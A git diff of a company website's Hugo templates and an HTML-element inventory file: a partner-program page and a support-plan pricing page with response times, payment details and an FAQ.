"card-section", - "card-thumbnail", - "card-top", - "card-view", - "categories", - "ceo-image", - "ceo-message", - "ceo-message-wrapper", - "circle-shape", - "client-info", - "client-thumb", - "close-btn", - "closed", - "cloud-native-partner-section", - "column", - "columns", - "connect-message", - "consulting", - "consulting-button", - "consulting-image", - "consulting-inner", - "consulting-wrapper", - "contact-area", - "contact-form", - "contact-form-inner", - "contact-form-wrapper", - "contact-hero", - "contact-image", - "contact-information", - "contact-page-body", - "contact-page-body-wrapper", - "contact_us", - "container", - "content", - "control", - "cookie-content", - "cookie-wrapper", - "count", - "cre-area", - "cta-action-section", - "cta-area", - "cta-area-2", - "cta-area-inner", - "cta-content", - "customNextBtn", - "customPrevBtn", - "d-table", - "d-table-cell", - "dark-bg", - "database-insight", - "date", - "date-and-location", - "decorative-shape", - "descriptions", - "development-card", - "development-icon", - "disaster-recovery", - "dots-style", - "embeded-console-button", - "engagement-card", - "engagement-card-wrapper", - "engagement-models-section", - "engineering-resources-section", - "fa", - "fa-angle-down", - "fa-angle-up", - "fa-arrows-alt", - "fa-bank", - "fa-bolt", - "fa-briefcase", - "fa-bug", - "fa-building", - "fa-bullhorn", - "fa-car", - "fa-chart-line", - "fa-check-circle", - "fa-clock-o", - "fa-cloud", - "fa-cloud-upload", - "fa-code", - "fa-code-fork", - "fa-cog", - "fa-cogs", - "fa-cubes", - "fa-dashboard", - "fa-database", - "fa-dollar", - "fa-envelope-o", - "fa-exchange", - "fa-eye", - "fa-facebook", - "fa-file-text", - "fa-flask", - "fa-gift", - "fa-github", - "fa-globe", - "fa-graduation-cap", - "fa-handshake-o", - "fa-heartbeat", - "fa-hospital-o", - "fa-industry", - "fa-laptop", - "fa-life-ring", - "fa-lightbulb-o", - "fa-line-chart", - "fa-linkedin", - "fa-lock", - "fa-microchip", - "fa-minus", - "fa-money", - "fa-paper-plane-o", - "fa-phone", - "fa-plane", - "fa-plug", - "fa-plus", - "fa-refresh", - "fa-repeat", - "fa-rocket", - "fa-server", - "fa-shield", - "fa-shopping-cart", - "fa-sitemap", - "fa-sliders", - "fa-star", - "fa-support", - "fa-tachometer", - "fa-thumbs-up", - "fa-ticket", - "fa-trophy", - "fa-twitter", - "fa-undo", - "fa-unlock", - "fa-users", - "fa-wrench", - "fa-youtube", - "faq-area", - "faq-image", - "faq-left", - "faq-right", - "features", - "features-tabs", - "field", - "filter-items", - "filtered-items", - "filtered-tags", - "footer-area", - "footer-bottom", - "footer-content", - "footer-inline-link", - "footer-left", - "footer-link", - "footer-logo", - "footer-menu", - "footer-right", - "footer-top", - "footer-wrapper", - "form-content", - "form-message", - "form-title", - "full-info", - "g-recaptcha", - "gallery-area", - "gallery-card", - "gallery-wrapper", - "gap-8", - "go-to-top", - "h-6", - "h-right-content", - "has-addons", - "has-background-white", - "has-text-centered", - "has-text-centered-desktop", - "has-text-centered-mobile", - "has-text-centered-tablet", - "has-text-centered-touch", - "has-text-gray", - "has-text-left", - "has-text-left-tablet", - "has-text-primary", - "has-text-right", - "has-text-right-desktop", - "has-text-right-tablet", - "has-text-weight-light", - "has-text-weight-semibold", - "header--fixed", - "header-items", - "header-left", - "header-right", - "height-20", - "height-40", - "height-60", - "hero-area", - "hero-area-1", - "hero-area-2", - "hero-area-button", - "hero-area-inner-2", - "hero-illustration", - "icon", - "illustration", - "illustration-1", - "illustration-area", - "image", - "img", - "inline-button", - "input", - "is-1-mobile", - "is-10", - "is-10-desktop", - "is-10-tablet", - "is-12", - "is-3", - "is-4", - "is-4-desktop", - "is-48x48", - "is-5", - "is-6", - "is-6-desktop", - "is-6-tablet", - "is-64x64", - "is-7", - "is-8", - "is-8-desktop", - "is-8-widescreen", - "is-9", - "is-active", - "is-align-items-baseline", - "is-align-items-center", - "is-block", - "is-capitalized", - "is-centered", - "is-checkradio", - "is-danger", - "is-ellipsis-2", - "is-ellipsis-3", - "is-ellipsis-4", - "is-error", - "is-flex", - "is-flex-direction-column", - "is-flex-wrap-wrap", - "is-fluid", - "is-font-weight-bold", - "is-full-desktop", - "is-full-mobile", - "is-full-tablet", - "is-full-touch", - "is-fullwidth", - "is-gap-4", - "is-gap-8", - "is-gapless", - "is-gradient", - "is-half-mobile", - "is-half-tablet", - "is-hidden", - "is-hidden-desktop", - "is-hidden-mobile", - "is-hidden-tablet", - "is-hidden-touch", - "is-info", - "is-justify-content-flex-center-mobile", - "is-justify-content-flex-end", - "is-justify-content-space-between", - "is-light", - "is-loading", - "is-mobile", - "is-multiline", - "is-offset-1", - "is-offset-1-desktop", - "is-offset-2", - "is-offset-2-desktop", - "is-offset-3", - "is-one-quarter-fullhd", - "is-one-quarter-widescreen", - "is-one-third-desktop", - "is-one-third-fullhd", - "is-one-third-tablet", - "is-one-third-widescreen", - "is-one-thirds-fullhd", - "is-paddingless", - "is-paddingless-desktop", - "is-primary", - "is-pulled-right", - "is-relative", - "is-require", - "is-rounded", - "is-select-box", - "is-services", - "is-show", - "is-size-5", - "is-size-6", - "is-small", - "is-sticky", - "is-success", - "is-tinny", - "is-transparent", - "is-two-thirds-desktop", - "is-uppercase", - "is-variable", - "is-vcentered", - "is-warning", - "item", - "kd-left-sidebar", - "kd-sidebar-menu", - "kubedb", - "kubevault", - "left-content", - "left-el", - "left-sidebar", - "left-sidebar-inner", - "link", - "list-items", - "location", - "location-area", - "logo-name", - "logo-presentation", - "managing", - "material-icons", - "material-icons-outlined", - "mb-0", - "mb-12", - "mb-15", - "mb-16", - "mb-20", - "mb-32", - "mb-4", - "mb-6", - "mb-8", - "mb-80", - "mechanics-area", - "mechanism", - "meet-expert", - "mega-menu-inner", - "mega-menu-wrapper", - "message", - "meta-tag", - "ml-8", - "modal-backdrop", - "modify-contact-form", - "monitoring", - "more-features", - "more-products", - "mr-100", - "mr-3", - "mr-8", - "mt-10", - "mt-15", - "mt-16", - "mt-20", - "mt-30", - "mt-5", - "mt-50", - "mt-70", - "mt-80", - "name", - "nav-item", - "navbar", - "navbar-appscode", - "navbar-appscode-wrapper", - "navbar-area", - "navbar-brand", - "navbar-burger", - "navbar-end", - "navbar-fixed", - "navbar-form", - "navbar-item", - "navbar-left", - "navbar-left-group", - "navbar-menu", - "navbar-right", - "navbar-right-group", - "navbar-start", - "navigate-icon", - "news-message", - "news-message-wrapper", - "notification-top", - "notification-wrapper", - "num-icon", - "offering-content", - "offering-description-container", - "open", - "others-products", - "our-customer-area", - "outlined-bg-buttons", - "owl-carousel", - "p-0", - "package-area", - "partner", - "partner-hero-area", - "pb-0", - "pb-12", - "pb-50", - "pb-80", - "pl-0", - "pl-40", - "play-button", - "playlist-item", - "playlist-wrapper", - "pointer", - "pr-0", - "pr-140", - "pr-20", - "pr-40", - "pr-60", - "product-description", - "product-description-container", - "product-development-process-section", - "product-info", - "product-logo", - "product-menu", - "products", - "products-area", - "products-description-wrapper", - "products-features", - "provisioing", - "provisioning", - "pt-0", - "quote-icon", - "reg-illustration", - "register-notification", - "registration-form", - "registration-form-container", - "registration-form-wrapper", - "resource-card", - "resource-content", - "resource-thumbnail", - "resources-list", - "reverse-column-mobile", - "reverse-row-order", - "right-content", - "right-el", - "schedule-title", - "search-box", - "section", - "section-lg", - "section-padding", - "section-title", - "select", - "service-card", - "service-content", - "service-icon", - "service-thumbnail", - "service-wrapper", - "services", - "services-menu", - "shap-3", - "showcase-partner", - "sign-in-text", - "signature-image", - "single-accordion-item", - "single-brand", - "single-card", - "single-card-wrapper", - "single-contact-info", - "single-feature", - "single-footer-widget", - "single-input-form", - "single-logo", - "single-package-wrapper", - "single-product", - "single-speaker", - "single-testimonial-item", - "single-training-image-wrapper", - "single-ui-ss", - "single-video", - "single-video-page", - "single-webinar", - "size-6", - "smooth", - "socail-link-inline", - "social-connect-area", - "social-link", - "social-prove-brand-area", - "spam-message", - "speaker-image", - "speaker-info", - "spinner", - "stash", - "status-message", - "steps-wrapper", - "sub-link", - "subscription-area", - "subscription-form", - "subscription-input", - "subscription-message", - "support", - "tab", - "tab-content", - "tab-contents", - "tab-item", - "tab-items", - "tag", - "tags", - "technology-partner", - "testimonial-area", - "testimonial-area-2", - "testimonial-carousel", - "testimonial-carousel-wrapper", - "testimonial-client-info", - "testimonial-wrapper", - "text-underline", - "textarea-wrapper", - "thumbnail", - "title", - "toggle", - "training", - "training-image-area", - "training-wrapper-image", - "ui-dashboard", - "ui-features-area", - "ui-mechanism", - "underline", - "upcoming-message", - "user-info", - "user-info-inner", - "user-info-wrapper", - "user-information", - "video-content", - "video-description", - "video-list-items", - "video-list-wrapper", - "video-title", - "voyager", - "w-6", - "webinar", - "webinar-body", - "webinar-header", - "webinar-hero-area", - "webinar-item", - "webinar-list-items", - "webinar-search", - "webinar-speakers", - "webinar-summary", - "webinar-title", - "webinar-video", - "whats-new", - "width-12", - "width-16", - "width-20", - "working-scenarios-section" - ], - "ids": [ - "1-1", - "1-commitment-of-service", - "2-definitions", - "3-service-commitments-and-service-credits", - "4credit-request-and-payment-procedures", - "5sla-exclusions", - "ac-sign-in-button", - "accounts", - "acknowledgement", - "afbbc", - "alert", - "amendments-to-terms", - "analytics", - "autoscalling", - "aws", - "azure", - "behavioral-remarketing", - "betaTag", - "bing-ads-remarketing", - "brand-image-wrapper", - "changes-to-service", - "changes-to-this-privacy-policy", - "childrens-privacy", - "cicd-tools", - "cluster_provider", - "codecov", - "communications", - "company", - "contact", - "contact-us", - "content", - "contests-sweepstakes-and-promotions", - "copyright-policy", - "country", - "crowdin", - "data-centers", - "database", - "database-insight", - "definitions", - "demo", - "disaster-recovery", - "disclosure-of-data", - "dmca-notice-and-procedure-for-copyright-infringement-claims", - "error-reporting-and-feedback", - "experiance", - "experience_level", - "facebook", - "fee-changes", - "filterBtn", - "filterClose", - "first_name", - "fname", - "free-trial", - "fs_779b59dfa11f83797b7b5db7e6cc40e095c15873df17fd4b0de69f17f74c57f2", - "fs_8cba8c35285047f6bbc4641701ef8c2f96e2fa0908f9dea70bbc2729dd75c786", - "github", - "goTop", - "google-ads-adwords", - "google-analytics", - "governing-law", - "information-collection-and-use", - "intellectual-property", - "introduction", - "job", - "job_title", - "kubedb", - "kubeform", - "kubevault", - "last_name", - "limitation-of-liability", - "links-to-other-sites", - "links-to-other-web-sites", - "lname", - "managing", - "marketing_reach", - "mc-embedded-subscribe", - "mc-embedded-subscribe-form", - "mc-embedded-subscribe1", - "mce-EMAIL", - "mce-EMAIL1", - "mechanics", - "message", - "monitoring", - "myNavbar", - "nav-serialscrolling", - "no-use-by-minors", - "notification", - "notificationWrapper", - "offerings-application-modernization", - "offerings-managed-cloud", - "offerings-managed-databases", - "offerings-observability-devsecops", - "offerings-platform-engineering", - "offerings-product-engineering", - "offerings-site-reliability-engineering", - "payments", - "paypal-or-braintree", - "personal-data", - "phone", - "plaid", - "products", - "prohibited-uses", - "provisioing", - "purchases", - "refunds", - "reporting-security-issues", - "retention-of-data", - "schedule", - "security-of-data", - "service-providers", - "servicesGrid", - "stash", - "stripe", - "subscriptions", - "termination", - "tracking-cookies-data", - "transfer-of-data", - "travis-ci", - "tutorial", - "twitter", - "types-of-data-collected", - "ui-features", - "usage-data", - "use-of-data", - "waiver-and-severability", - "webinar", - "webinar1", - "webinarHeroArea", - "work_email", - "workemail", - "your-data-protection-rights-under-general-data-protection-regulation-gdpr", - "your-data-protection-rights-under-the-california-privacy-protection-act-caloppa", - "zoho-pagesense" - ] - } -} +{ + "htmlElements": { + "tags": [ + "a", + "body", + "br", + "button", + "div", + "figure", + "footer", + "form", + "h1", + "h2", + "h3", + "h4", + "h5", + "h6", + "head", + "header", + "hr", + "html", + "i", + "iconify-icon", + "iframe", + "img", + "input", + "label", + "li", + "link", + "lord-icon", + "meta", + "nav", + "noscript", + "ol", + "option", + "p", + "path", + "pre", + "script", + "section", + "select", + "span", + "strong", + "style", + "svg", + "textarea", + "title", + "ul" + ], + "classes": [ + "about-text-area", + "about-text-inner", + "about-training", + "ac-accordion-wrapper", + "ac-button", + "ac-checkbox", + "ac-custom-select", + "ac-image", + "ac-primary", + "ac-primary-color", + "ac-single-checkbox", + "ac-text", + "accordion", + "accordion-body", + "accordion-button", + "accordion-content", + "accordion-header", + "accordion-heading", + "accordions", + "active-overlay", + "alert", + "all-contact-info", + "appscode-style", + "arrow", + "arrow-right", + "arrows", + "back-button", + "bb-1", + "benefits-section", + "bg-color-available", + "bg-gradient-1", + "bg-light", + "bg-primay-light", + "body-content", + "brand", + "brand-image-wrapper", + "button", + "buttons", + "c1", + "c1_tab", + "calendly-inline-widget", + "card-body", + "card-bottom", + "card-icon", + "card-section", + "card-thumbnail", + "card-top", + "card-view", + "categories", + "ceo-image", + "ceo-message", + "ceo-message-wrapper", + "circle-shape", + "client-info", + "client-thumb", + "close-btn", + "closed", + "cloud-native-partner-section", + "column", + "columns", + "connect-message", + "consulting", + "consulting-button", + "consulting-image", + "consulting-inner", + "consulting-wrapper", + "contact-area", + "contact-form", + "contact-form-inner", + "contact-form-wrapper", + "contact-hero", + "contact-image", + "contact-information", + "contact-page-body", + "contact-page-body-wrapper", + "contact_us", + "container", + "content", + "control", + "cookie-content", + "cookie-wrapper", + "count", + "cre-area", + "cta-action-section", + "cta-area", + "cta-area-2", + "cta-area-inner", + "cta-content", + "customNextBtn", + "customPrevBtn", + "d-table", + "d-table-cell", + "dark-bg", + "database-insight", + "date", + "date-and-location", + "decorative-shape", + "descriptions", + "development-card", + "development-icon", + "disaster-recovery", + "dots-style", + "embeded-console-button", + "engagement-card", + "engagement-card-wrapper", + "engagement-models-section", + "engineering-resources-section", + "fa", + "fa-angle-down", + "fa-angle-up", + "fa-arrows-alt", + "fa-bank", + "fa-bolt", + "fa-briefcase", + "fa-bug", + "fa-building", + "fa-bullhorn", + "fa-car", + "fa-chart-line", + "fa-check-circle", + "fa-clock-o", + "fa-cloud", + "fa-cloud-upload", + "fa-code", + "fa-code-fork", + "fa-cog", + "fa-cogs", + "fa-cubes", + "fa-dashboard", + "fa-database", + "fa-dollar", + "fa-envelope-o", + "fa-exchange", + "fa-eye", + "fa-facebook", + "fa-file-text", + "fa-flask", + "fa-gift", + "fa-github", + "fa-globe", + "fa-graduation-cap", + "fa-handshake-o", + "fa-heartbeat", + "fa-hospital-o", + "fa-industry", + "fa-laptop", + "fa-life-ring", + "fa-lightbulb-o", + "fa-line-chart", + "fa-linkedin", + "fa-lock", + "fa-microchip", + "fa-minus", + "fa-money", + "fa-paper-plane-o", + "fa-phone", + "fa-plane", + "fa-plug", + "fa-plus", + "fa-refresh", + "fa-repeat", + "fa-rocket", + "fa-server", + "fa-shield", + "fa-shopping-cart", + "fa-sitemap", + "fa-sliders", + "fa-star", + "fa-support", + "fa-tachometer", + "fa-thumbs-up", + "fa-ticket", + "fa-trophy", + "fa-twitter", + "fa-undo", + "fa-unlock", + "fa-users", + "fa-wrench", + "fa-youtube", + "faq-area", + "faq-image", + "faq-left", + "faq-right", + "features", + "features-tabs", + "field", + "filter-items", + "filtered-items", + "filtered-tags", + "footer-area", + "footer-bottom", + "footer-content", + "footer-inline-link", + "footer-left", + "footer-link", + "footer-logo", + "footer-menu", + "footer-right", + "footer-top", + "footer-wrapper", + "form-content", + "form-message", + "form-title", + "full-info", + "g-recaptcha", + "gallery-area", + "gallery-card", + "gallery-wrapper", + "gap-8", + "go-to-top", + "h-6", + "h-right-content", + "has-addons", + "has-background-white", + "has-text-centered", + "has-text-centered-desktop", + "has-text-centered-mobile", + "has-text-centered-tablet", + "has-text-centered-touch", + "has-text-gray", + "has-text-left", + "has-text-left-tablet", + "has-text-primary", + "has-text-right", + "has-text-right-desktop", + "has-text-right-tablet", + "has-text-weight-light", + "has-text-weight-semibold", + "header--fixed", + "header-items", + "header-left", + "header-right", + "height-20", + "height-40", + "height-60", + "hero-area", + "hero-area-1", + "hero-area-2", + "hero-area-button", + "hero-area-inner-2", + "hero-illustration", + "icon", + "illustration", + "illustration-1", + "illustration-area", + "image", + "img", + "inline-button", + "input", + "is-1-mobile", + "is-10", + "is-10-desktop", + "is-10-tablet", + "is-12", + "is-3", + "is-4", + "is-4-desktop", + "is-48x48", + "is-5", + "is-6", + "is-6-desktop", + "is-6-tablet", + "is-64x64", + "is-7", + "is-8", + "is-8-desktop", + "is-8-widescreen", + "is-9", + "is-active", + "is-align-items-baseline", + "is-align-items-center", + "is-block", + "is-capitalized", + "is-centered", + "is-checkradio", + "is-danger", + "is-ellipsis-2", + "is-ellipsis-3", + "is-ellipsis-4", + "is-error", + "is-flex", + "is-flex-direction-column", + "is-flex-wrap-wrap", + "is-fluid", + "is-font-weight-bold", + "is-full-desktop", + "is-full-mobile", + "is-full-tablet", + "is-full-touch", + "is-fullwidth", + "is-gap-4", + "is-gap-8", + "is-gapless", + "is-gradient", + "is-half-mobile", + "is-half-tablet", + "is-hidden", + "is-hidden-desktop", + "is-hidden-mobile", + "is-hidden-tablet", + "is-hidden-touch", + "is-info", + "is-justify-content-flex-center-mobile", + "is-justify-content-flex-end", + "is-justify-content-space-between", + "is-light", + "is-loading", + "is-mobile", + "is-multiline", + "is-offset-1", + "is-offset-1-desktop", + "is-offset-2", + "is-offset-2-desktop", + "is-offset-3", + "is-one-quarter-fullhd", + "is-one-quarter-widescreen", + "is-one-third-desktop", + "is-one-third-fullhd", + "is-one-third-tablet", + "is-one-third-widescreen", + "is-one-thirds-fullhd", + "is-paddingless", + "is-paddingless-desktop", + "is-primary", + "is-pulled-right", + "is-relative", + "is-require", + "is-rounded", + "is-select-box", + "is-services", + "is-show", + "is-size-5", + "is-size-6", + "is-small", + "is-sticky", + "is-success", + "is-tinny", + "is-transparent", + "is-two-thirds-desktop", + "is-uppercase", + "is-variable", + "is-vcentered", + "is-warning", + "item", + "kd-left-sidebar", + "kd-sidebar-menu", + "kubedb", + "kubevault", + "left-content", + "left-el", + "left-sidebar", + "left-sidebar-inner", + "link", + "list-items", + "location", + "location-area", + "logo-name", + "logo-presentation", + "managing", + "material-icons", + "material-icons-outlined", + "mb-0", + "mb-12", + "mb-15", + "mb-16", + "mb-20", + "mb-32", + "mb-4", + "mb-6", + "mb-8", + "mb-80", + "mechanics-area", + "mechanism", + "meet-expert", + "mega-menu-inner", + "mega-menu-wrapper", + "message", + "meta-tag", + "ml-8", + "modal-backdrop", + "modify-contact-form", + "monitoring", + "more-features", + "more-products", + "mr-100", + "mr-3", + "mr-8", + "mt-10", + "mt-15", + "mt-16", + "mt-20", + "mt-30", + "mt-5", + "mt-50", + "mt-70", + "mt-80", + "name", + "nav-item", + "navbar", + "navbar-appscode", + "navbar-appscode-wrapper", + "navbar-area", + "navbar-brand", + "navbar-burger", + "navbar-end", + "navbar-fixed", + "navbar-form", + "navbar-item", + "navbar-left", + "navbar-left-group", + "navbar-menu", + "navbar-right", + "navbar-right-group", + "navbar-start", + "navigate-icon", + "news-message", + "news-message-wrapper", + "notification-top", + "notification-wrapper", + "num-icon", + "offering-content", + "offering-description-container", + "open", + "others-products", + "our-customer-area", + "outlined-bg-buttons", + "owl-carousel", + "p-0", + "package-area", + "partner", + "partner-hero-area", + "pb-0", + "pb-12", + "pb-50", + "pb-80", + "pl-0", + "pl-40", + "play-button", + "playlist-item", + "playlist-wrapper", + "pointer", + "pr-0", + "pr-140", + "pr-20", + "pr-40", + "pr-60", + "product-description", + "product-description-container", + "product-development-process-section", + "product-info", + "product-logo", + "product-menu", + "products", + "products-area", + "products-description-wrapper", + "products-features", + "provisioing", + "provisioning", + "pt-0", + "quote-icon", + "reg-illustration", + "register-notification", + "registration-form", + "registration-form-container", + "registration-form-wrapper", + "resource-card", + "resource-content", + "resource-thumbnail", + "resources-list", + "reverse-column-mobile", + "reverse-row-order", + "right-content", + "right-el", + "schedule-title", + "search-box", + "section", + "section-lg", + "section-padding", + "section-title", + "select", + "service-card", + "service-content", + "service-icon", + "service-thumbnail", + "service-wrapper", + "services", + "services-menu", + "shap-3", + "showcase-partner", + "sign-in-text", + "signature-image", + "single-accordion-item", + "single-brand", + "single-card", + "single-card-wrapper", + "single-contact-info", + "single-feature", + "single-footer-widget", + "single-input-form", + "single-logo", + "single-package-wrapper", + "single-product", + "single-speaker", + "single-testimonial-item", + "single-training-image-wrapper", + "single-ui-ss", + "single-video", + "single-video-page", + "single-webinar", + "size-6", + "smooth", + "socail-link-inline", + "social-connect-area", + "social-link", + "social-prove-brand-area", + "spam-message", + "speaker-image", + "speaker-info", + "spinner", + "stash", + "status-message", + "steps-wrapper", + "sub-link", + "subscription-area", + "subscription-form", + "subscription-input", + "subscription-message", + "support", + "tab", + "tab-content", + "tab-contents", + "tab-item", + "tab-items", + "tag", + "tags", + "technology-partner", + "testimonial-area", + "testimonial-area-2", + "testimonial-carousel", + "testimonial-carousel-wrapper", + "testimonial-client-info", + "testimonial-wrapper", + "text-underline", + "textarea-wrapper", + "thumbnail", + "title", + "toggle", + "training", + "training-image-area", + "training-wrapper-image", + "ui-dashboard", + "ui-features-area", + "ui-mechanism", + "underline", + "upcoming-message", + "user-info", + "user-info-inner", + "user-info-wrapper", + "user-information", + "video-content", + "video-description", + "video-list-items", + "video-list-wrapper", + "video-title", + "voyager", + "w-6", + "webinar", + "webinar-body", + "webinar-header", + "webinar-hero-area", + "webinar-item", + "webinar-list-items", + "webinar-search", + "webinar-speakers", + "webinar-summary", + "webinar-title", + "webinar-video", + "whats-new", + "width-12", + "width-16", + "width-20", + "working-scenarios-section" + ], + "ids": [ + "1-1", + "1-commitment-of-service", + "2-definitions", + "3-service-commitments-and-service-credits", + "4credit-request-and-payment-procedures", + "5sla-exclusions", + "ac-sign-in-button", + "accounts", + "acknowledgement", + "afbbc", + "alert", + "amendments-to-terms", + "analytics", + "autoscalling", + "aws", + "azure", + "behavioral-remarketing", + "betaTag", + "bing-ads-remarketing", + "brand-image-wrapper", + "changes-to-service", + "changes-to-this-privacy-policy", + "childrens-privacy", + "cicd-tools", + "cluster_provider", + "codecov", + "communications", + "company", + "contact", + "contact-us", + "content", + "contests-sweepstakes-and-promotions", + "copyright-policy", + "country", + "crowdin", + "data-centers", + "database", + "database-insight", + "definitions", + "demo", + "disaster-recovery", + "disclosure-of-data", + "dmca-notice-and-procedure-for-copyright-infringement-claims", + "error-reporting-and-feedback", + "experiance", + "experience_level", + "facebook", + "fee-changes", + "filterBtn", + "filterClose", + "first_name", + "fname", + "free-trial", + "fs_779b59dfa11f83797b7b5db7e6cc40e095c15873df17fd4b0de69f17f74c57f2", + "fs_8cba8c35285047f6bbc4641701ef8c2f96e2fa0908f9dea70bbc2729dd75c786", + "github", + "goTop", + "google-ads-adwords", + "google-analytics", + "governing-law", + "information-collection-and-use", + "intellectual-property", + "introduction", + "job", + "job_title", + "kubedb", + "kubeform", + "kubevault", + "last_name", + "limitation-of-liability", + "links-to-other-sites", + "links-to-other-web-sites", + "lname", + "managing", + "marketing_reach", + "mc-embedded-subscribe", + "mc-embedded-subscribe-form", + "mc-embedded-subscribe1", + "mce-EMAIL", + "mce-EMAIL1", + "mechanics", + "message", + "monitoring", + "myNavbar", + "nav-serialscrolling", + "no-use-by-minors", + "notification", + "notificationWrapper", + "offerings-application-modernization", + "offerings-managed-cloud", + "offerings-managed-databases", + "offerings-observability-devsecops", + "offerings-platform-engineering", + "offerings-product-engineering", + "offerings-site-reliability-engineering", + "payments", + "paypal-or-braintree", + "personal-data", + "phone", + "plaid", + "products", + "prohibited-uses", + "provisioing", + "purchases", + "refunds", + "reporting-security-issues", + "retention-of-data", + "schedule", + "security-of-data", + "service-providers", + "servicesGrid", + "stash", + "stripe", + "subscriptions", + "termination", + "tracking-cookies-data", + "transfer-of-data", + "travis-ci", + "tutorial", + "twitter", + "types-of-data-collected", + "ui-features", + "usage-data", + "use-of-data", + "waiver-and-severability", + "webinar", + "webinar1", + "webinarHeroArea", + "work_email", + "workemail", + "your-data-protection-rights-under-general-data-protection-regulation-gdpr", + "your-data-protection-rights-under-the-california-privacy-protection-act-caloppa", + "zoho-pagesense" + ] + } +} diff --git a/layouts/_default/partner.html b/layouts/_default/partner.html index 0b5d52db0f..f725584bec 100644 --- a/layouts/_default/partner.html +++ b/layouts/_default/partner.html @@ -1,166 +1,166 @@ -{{ define "header-bottom" }} -
-{{ end }} - -{{ define "main" }} -
- - decorative-el - decorative-el - -
-
-
-
-

AppsCode Partners

-

Empower your growth with AppsCode! We unite advanced database technologies and service providers to deliver transformative solutions worldwide.

-
-
-
-
-
-
-
- Access to Exclusive Resources -
-
-

Access to Exclusive Resources

-

Gain access to our marketing materials, resources, and dedicated support to help you succeed

-
-
-
-
-
-
- Expand Your Reach -
-
-

Expand Your Reach

-

Partnering with us means expanding your reach and tapping into new markets

-
-
-
-
-
-
- Earn Competitive Commissions -
-
-

Earn Competitive Commissions

-

Join our partner program and earn generous commissions for every successful referral

-
-
-
- - Become a Partner - handshake - -
-
-
- -
-
-
-
-
-

Cloud Partners

-

An industry-leading group of cloud providers integrate with AppsCode's powerful Kubernetes Solutions to provide enhanced value to their customers.

-
- - -
-
-
-
- -
- - decorative-el - decorative-el - -
-
-
-
-

Technology Partners

-
- - -
-
-
-
- - - -
- - decorative-el - decorative-el - -
-
-
-
-
-

Ready to become a partner?
Join our program today and start earning!

-
-
- -
-
-
-
-
-
- -{{ end }} - -{{ define "testimonial" }} -
-{{ end }} - -{{ define "customer-logos" }} -
-{{ end }} - -{{ define "cta-install" }} -
-{{ end }} +{{ define "header-bottom" }} +
+{{ end }} + +{{ define "main" }} +
+ + decorative-el + decorative-el + +
+
+
+
+

AppsCode Partners

+

Empower your growth with AppsCode! We unite advanced database technologies and service providers to deliver transformative solutions worldwide.

+
+
+
+
+
+
+
+ Access to Exclusive Resources +
+
+

Access to Exclusive Resources

+

Gain access to our marketing materials, resources, and dedicated support to help you succeed

+
+
+
+
+
+
+ Expand Your Reach +
+
+

Expand Your Reach

+

Partnering with us means expanding your reach and tapping into new markets

+
+
+
+
+
+
+ Earn Competitive Commissions +
+
+

Earn Competitive Commissions

+

Join our partner program and earn generous commissions for every successful referral

+
+
+
+ + Become a Partner + handshake + +
+
+
+ +
+
+
+
+
+

Cloud Partners

+

An industry-leading group of cloud providers integrate with AppsCode's powerful Kubernetes Solutions to provide enhanced value to their customers.

+
+ + +
+
+
+
+ +
+ + decorative-el + decorative-el + +
+
+
+
+

Technology Partners

+
+ + +
+
+
+
+ + + +
+ + decorative-el + decorative-el + +
+
+
+
+
+

Ready to become a partner?
Join our program today and start earning!

+
+
+ +
+
+
+
+
+
+ +{{ end }} + +{{ define "testimonial" }} +
+{{ end }} + +{{ define "customer-logos" }} +
+{{ end }} + +{{ define "cta-install" }} +
+{{ end }} diff --git a/layouts/_default/pricing.html b/layouts/_default/pricing.html index 09839e0dc2..acd3a07837 100644 --- a/layouts/_default/pricing.html +++ b/layouts/_default/pricing.html @@ -1,427 +1,321 @@ -{{ define "main" }} - -{{ $p := index $.Site.Data.products.voyager }} - - -
-
-
-
- -
-
-

- Go Cloud Native Confidently - with AppsCode -

-

- At AppsCode, we focus on helping you achieve the outcomes you need to make your business successful. Our - Support plans are designed to give you the right mix of tools and access to expertise so that you can be - successful with AppsCode products while optimizing performance, managing risk, and keeping costs under - control. -

-
-

- Our support plans are product specific and you will need a separate support subscription for each product. -

-
-
- -
-
-
- -
-
-
-
-
- - - - - -
-
- -
-
-

Support Plans

-

Our support plans are designed to meet your need, risk tolerance and budget constraints

-
-
-
-

Community

- Free -

Recommended if you are - experimenting or testing

- -
-
-

Enterprise

-

Recommended if you have - production workloads.

- -
-
-
- - -
-
- -
-
Recommended For
-
-
Recommended if you are - experimenting or testing
-
- Recommended if you have - production workloads. -
-
-
- - -
-
Response Times
-
-
Best effort
-
- General guidance:
< 48 business hours

System impaired:
< 24 business - hours

Production system impaired:
< 4 hours
-
-
-
- - - -
-
Support Coverage
-
-
N/A
-
- 24x7x365 -
-
-
- - - -
-
Emergency patches
-
-
X
-
- Yes(as required) -
-
-
- - - -
-
Unlimited Incidents
-
-
X
-
- Yes -
-
-
- - - -
-
Contacts for Ticketing
-
-
X
-
- 5 -
-
-
- - - -
-
Community Support
-
-
Included (Public Slack & GitHub issues)
-
- Included - (Public Slack & GitHub issues) -
-
-
- - - -
-
Remote Hands - (Debug via Zoom)
-
-
Yes - (charged at $200/hr)
-
- Yes - (First month 2 hrs FREE, - addt’l charged at $200/hr) -
-
-
- - - -
-
Production Runbook
-
-
X
-
- Yes -
-
-
- - - -
-
Dedicated Private - chat (via Slack)
-
-
X
-
- Yes -
-
-
- - - -
-
Phone support
-
-
X
-
- Yes ☎ -
-
-
- - - -
-
Architectural Guidance
-
-
X
-
- Consultative review and - guidance based on your - applications -
-
-
- - - -
-
Professional Services
-
-
Additional fees
-
- Additional fees -
-
-
- -
-
- - -
-
-
-
    -
  • - * Every support comes with license for 1 production Kubernetes cluster and unlimited - non-production clusters. If you serve user traffic from a Kubernetes cluster or run workloads that are - used to support your users, it qualifies as a production cluster. For each additional production - Kubernetes cluster, add 50% of the base package price. There are no limits on how many nodes you can have - per Kubernetes cluster. -
  • -
  • - Additional conditions apply. Please contact us for further details. -
  • -
-
-
-
- -
-
- - - -
-
-
-
-
-

Payment Methods

-

- Our payment processing is powerd by Stripe. - You credit card data never touches our servers. For more information, please visit - stripe.com. -

-
-
-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
-
-
-
-
- - - -
-
-
-
-
-

FAQ

-
-
-
-
-
- -
- -
- -
-

Can I upgrade or downgrade anytime?

- -
- - -
-

- Monthly plans are subject to a 30 day minimum term. - Monthly plans can be upgraded anytime. - Annual plans can be downgraded at the end of the term. -

-
- -
- - - -
- -
-

Is my payment information safe?

- -
- - -
-

- Our payment processing is powerd by - Stripe. - You credit card data never touches our servers. For more information, - please visit stripe.com. -

-
- -
